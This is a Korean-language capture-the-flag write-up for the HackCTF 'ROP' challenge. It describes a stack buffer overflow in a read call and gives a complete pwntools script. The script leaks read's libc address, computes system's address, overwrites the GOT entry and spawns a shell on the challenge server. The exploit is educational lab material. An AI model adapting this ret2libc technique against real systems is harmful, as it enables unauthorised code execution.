HackCTF ROP Write-Up

juuun0·2022년 1월 26일
1
post-thumbnail

Analyze Target

우선 문제의 제목으로부터 유추할 수 있는 점은 ROP를 활용한 공격이 진행될 것이란 점을 예상할 수 있었습니다. 또한 compile에 사용된 것으로 추정되는 libc.so.6 library 파일 또한 같이 제공된 것을 확인할 수 있었습니다.

ROP 공격을 진행하기 위해서는 최우선적으로 BOF를 이용한 흐름 조작과 system 함수의 호출을 위한 library base address의 leak이 필요하였습니다.

먼저 프로그램은 크게 main 함수와 vulnerable_function 함수로 구성되어 있었으며, main 함수의 경우 vulnerable_function을 호출 후 특정 문자열을 출력하는 것 외에 특별한 점은 찾아볼 수 없었습니다.

vulnerable_function의 경우 아래와 같이 작성되어 있었으며, read 함수로 입력받은 값에 대한 boundary check routine이 존재하지 않았기에 RET 주소를 변조하는 것이 가능하였습니다.

void vulnerable_function(void)

{
  undefined local_8c [136];
  
  read(0,local_8c,0x100);
  return;
}

여태까지 ROP를 사용하여 해결하였던 문제와 다른 점은 별도로 library 주소를 구하기 위한 hint가 제공되지 않는 점이었습니다. 따라서 payload를 구성할 때 출력 함수를 사용하여 library 주소를 계산하기 위한 runtime 중 mapping 되어진 함수의 주소를 획득할 필요가 있었습니다.

Runtime 중 mapping 된 함수의 주소를 구하기 위해서는 해당 함수가 최소 한 번 이상 사용될 필요가 있었기에 read 함수를 대상으로 하였습니다.

획득한 read 함수의 주소와 offset을 이용하여 library 주소를 계산한 뒤 이를 다시 system 함수의 offset과 더하여 system 함수의 주소를 획득, bss 영역에 "/bin/sh\x00" 문자열을 삽입하여 이를 인자로 shell을 획득하였습니다.


Exploit

#!/usr/bin/python3
 
 from pwn import *
 
 p = remote("ctf.j0n9hyun.xyz", 3021)
 e = ELF("./rop")
 
 padding = b"A"*(0x88+0x4)
 
 rop = ROP(e)
 rop.write(0x1, e.got['read'], 0x4)
 rop.read(0x0, e.bss(), 0x8)
 rop.read(0x0, e.got['read'], 0x4)
 rop.read(e.bss())
 
 payload = padding
 payload += rop.chain()
 
 p.sendline(payload)
 
 read = u32(p.recvn(4))
 library = read - 0x000d4350
 
 p.send(b"/bin/sh\x00")
 p.send(p32(library + 0x0003a940))
 
 log.info("library base address: " + hex(library))
 log.info("System address: " + hex(library + 0x0003a940))
 p.interactive()
profile
To be

0개의 댓글